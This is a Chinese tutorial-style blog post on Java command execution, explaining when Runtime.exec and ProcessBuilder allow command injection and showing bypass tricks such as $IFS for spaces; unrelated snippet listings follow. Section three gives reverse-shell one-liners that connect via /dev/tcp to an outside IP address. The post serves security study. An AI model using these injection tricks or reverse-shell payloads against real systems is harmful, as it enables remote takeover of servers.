java中的命令执行汇总(代码片段)

Thunderclap_ Thunderclap_     2023-04-13     230

关键词:

一、Java中可执行命令的API:

java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)

java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()

命令执行漏洞只关注 第一个String参数 或者 String[]或列表的第一个元素

  • 如果该参数完全可控,或者是/bin/bash(Linux)或cmd(Windows)等运行shell解析器的命令、后面的部分可控,则可以注入。

  • 如果的哥参数是bat或者sh脚本文件,后面的参数可控,则需要根据脚本如何使用可控参数来判断是否可以注入。

其他API:

ScriptEngine接口:可使用ScriptEngine.eval解析多种脚本,比如JavaScript,而JavaScript中可以执行java命令。

二、说明

java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接启动传入参数对应的进程。以curl为例,php的system会启动系统shell,然后通过shell来启动curl进程,这个过程中,如果传入的命令带有shell能解析的语法,就会首先解析。

所以,如果只是命令执行的部分参数可控,想在java中通过;、|、&等实现命令注入,是行不通的。当然不排除程序本身存在漏洞,只需传入参数即可造成漏洞。

1、ProcessBuilder

第一种情况:某个参数可控

new ProcessBuilder(new String[]"ls", "-lh", dir;);

//不可执行。这种情况下因为不是只能执行ls命令,后面的均为ls的参数。

第二种情况:完全可控

只能执行一些没有参数的命令,因为ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入,才能执行。

// String cmd = "xx";

ProcessBuilder builder = new ProcessBuilder(cmd);

Process process = builder.start();

//部分任意执行。这种情况可执行没有参数的命令,原因为这里 cmd 的值表示的是执行命令的文件路径,因此无法使用参数

第三种情况:shell环境下的某个参数可控

new ProcessBuilder(new String[]"sh", "-c", "echo test", dir;);

//不可任意执行。这种情况下,dir 传入 pwd 或 ;pwd 都无法执行,因为只有 echo test 会作为 -c 选项的参数值

new ProcessBuilder(new String[]"sh", "-c", "ls -lh " + dir;);

//可执行不带参数的命令。dir 参数用户可控,如果传入如 && pwd,则可以成功执行 pwd 命令

2、Runtime

Runtime的exec(String command)其内部调用了exec(String command, String[] envp, File dir),传入的字符串命令会先经过 StringTokenizer 进行处理,即使用分隔符,包括空格,\\t\\n\\r\\f 对字符串进行分隔后,再调用 exec(String[] cmdarray, String[] envp, File dir),最后是通过ProcessBuilder 来执行的。

第一种情况:如果参数完全可控,则可以执行任意命令

Process process = runtime.exec("sh -c whoami");

第二种情况:若没有手动创建 shell 执行命令,没有存在参数注入,则无法实现命令注入

Process process = runtime.exec("ping -c 1 " + ip);

//这种传入 127.0.0.1 | id,是无法正常执行的

第三种情况:手动创建 shell 执行命令,可执行-c 的参数值的命令,但值内不能有空格、\\t\\n\\r\\f 分隔符,否则会被分割

// 相当于执行 sh -c curl,example.com 参数会被忽略

String cmd = "sh -c curl example.com";

// \\t 也是分割符之一

String cmd = "sh -c curl\\texample.com";

// 使用 $IFS (对应内部字段分隔符) 来代替空格,成功执行

String cmd = "sh -c curl$IFSexample.com";

三、在exec中反弹shell命令

方法一:

"Runtime.getRuntime().exec(\\"/bin/bash -c bash$IFS-i>&/dev/tcp/7.249.219.5/80<&1\\")"

方法二:

"Runtime.getRuntime().exec(\\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\\")"

方法三:

str = 命令写这里。

cmd = "sh -c $@ | sh . echo" + str

"Runtime.getRuntime().exec(cmd)"

参考:

Java OS 命令注入学习笔记 | b1ngz

在 Runtime.getRuntime().exec(String cmd) 中执行任意shell命令的几种方法

java多线程40个问题汇总(转)(代码片段)

...开启一个新的线程。4、Runnable和Callable接口的区别-Runnable中的run方法的返回值是void,仅仅用来表示“新建一个线程去执行即可”-Callable中的call方法是有返回值的,是一个泛型,需要配合Future/FutureTask获取异步执行的结果-通过返... 查看详情

docker问题汇总(代码片段)

Docker问题汇总问题一安装完Docker执行命令dockerinfo时报以下警告WARNING:bridge-nf-call-iptablesisdisabledWARNING:bridge-nf-call-ip6tablesisdisabled解决办法:执行命令vim/etc/sysctl.conf,在文件中追加以下内容后保存退出net.bridge.bridge 查看详情

用java语言执行liunx命令中的grepcat等命令(代码片段)

前言前一段时间,在项目中,遇到用Java语言处理数据,如筛选出含有特别行的数据的需求,给文件重命名,给文件由gbk转utf-8等需求!如果直接用Java语言直接写方法,估计太麻烦,于是采用用Java语言调用liunx命令,去执行!调... 查看详情

git常用命令汇总(代码片段)

...--amend-m"新的注释"gitpush-f3.在本地删除GitHub上的项目中的target和.idea目录在本地项目(从git上clone下来的项目),点击GitBashHere,然后输入以下命令:gitrm-r--cached.ideagitrm-r--cachedtargetgitcommit-m'(gitignorecommita... 查看详情

windows网络命令汇总(代码片段)

...址执行Ping命令,直到被用户以Ctrl+C中断PingIP-lm指定Ping命令中的数据长度为m字节,缺省为32字节PingIP–n执行特定次数的Ping命令,缺省为4次。Ping/hPing命令的参数用法查询IPCONFIG命令:ipconfig查看配置ipconfig/all查看全部详情配置ipconfig/re... 查看详情

shell问题汇总(代码片段)

...见http://blog.sina.com.cn/s/blog_4da051a60102uyvg.html 2.替换变量中的字符$BRANCH_NAME=feature/ss_tracking$echo$BRANCH_NAME>>>feature/ss_tracking$echo$BRANCH_NAME///->>>feature-ss_tracking 3.sed遍历替换#linuxfindfeatures-typef 查看详情

java多线程编程基础知识汇总(代码片段)

...简介多任务??现代操作系统(Windows、Linux、MacOS)都可以执行多任务,多任务就是同时运行多个任务。例如在我们的计算机上,一般都同时跑着多个程序,例如浏览器,视频播放器,音乐播放器,Word办公软件等等,由于CPU执行代... 查看详情

gcc常见命令汇总(代码片段)

intmain()test(); man.c如上:#include<stdio.h>voidtest()printf("test\n");test.c如上:将test.c与main.c转换为目标文件test.o,main.o:gcc-cmain.ctest.c将两者链接成可执行文件:gcctest.omain.o-oliu将test.o打包为动态库文件libtest. 查看详情

mongodb命令汇总(代码片段)

...结MongoDB各种查询操作总结MongoDB对列的各种操作总结MongoDB中的索引操作总结进阶篇:MongoDB聚合操作总结MongoDB的导入导出、备份恢复总结Mong 查看详情

mongodb命令汇总(代码片段)

...结MongoDB各种查询操作总结MongoDB对列的各种操作总结MongoDB中的索引操作总结进阶篇:MongoDB聚合操作总结MongoDB的导入导出、备份恢复总结Mong 查看详情

mongodb问题汇总(代码片段)

...新3、选择其他站点4、选择最佳服务器5、重新在终端执行命令。(以下为在ubuntu20,ubuntu16在桌面右上角可找到设置及软件和更新)等进度条完成之后然后重新在终端执行命令即可。解决办法二ÿ 查看详情

git常用命令汇总(代码片段)

1.Git如何修改注释还没有pushgitcommit--amend-m"新的注释"gitpush已经push了gitcommit--amend-m"新的注释"gitpush-f2.在本地删除GitHub上的项目中的target和.idea目录在本地项目(从git上clone下来的项目),点击GitBashHereÿ 查看详情

ctf中的命令执行绕过方式(代码片段)

CTF中的命令执行绕过方式CTF中的命令执行绕过方式0x01:管道符在用linux命令时候,我们可以一行执行多条命令或者有条件的执行下一条命令,下面我们讲解一下linux命令分号&&和&,|和||的用法。“;”分号用法方式:command1... 查看详情

java示例代码_执行命令行。java中的exe文件

java示例代码_执行命令行。java中的exe文件 查看详情

jvm常用命令汇总(代码片段)

jps查看java进程ThejpscommandliststheinstrumentedJavaHotSpotVMsonthetargetsystem.ThecommandislimitedtoreportinginformationonJVMsforwhichithastheaccesspermissions.jinfo(1)实时查看和调整JVM配置参数ThejinfocommandprintsJavaconfigurationinformationforaspecifiedJavaprocessorcorefileoraremot... 查看详情

thinkphp-漏洞-汇总(代码片段)

ThinkPHP5.x远程命令执行Date2018年末影响范围5.x<5.1.31,<=5.0.23 Orderby注入漏洞Date2018.8影响范围v3<=ThinkPHP3.2.3v5<=5.1.22 查看详情

vim光标移动命令汇总(代码片段)

原文链接:Vim教程网-Vim光标移动命令汇总介绍Vim光标移动命令,移动vim光标到行首、行跳转、vim匹配单词和匹配括号跳转,Vim翻页命令。一、Vim光标移动简介Vi/Vim中进行光标移动的命令是针对不同的操作单位而设计,不同的命... 查看详情

命令执行tips(代码片段)

...内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。 代码执行:$执行代码evalassertpreg_rep... 查看详情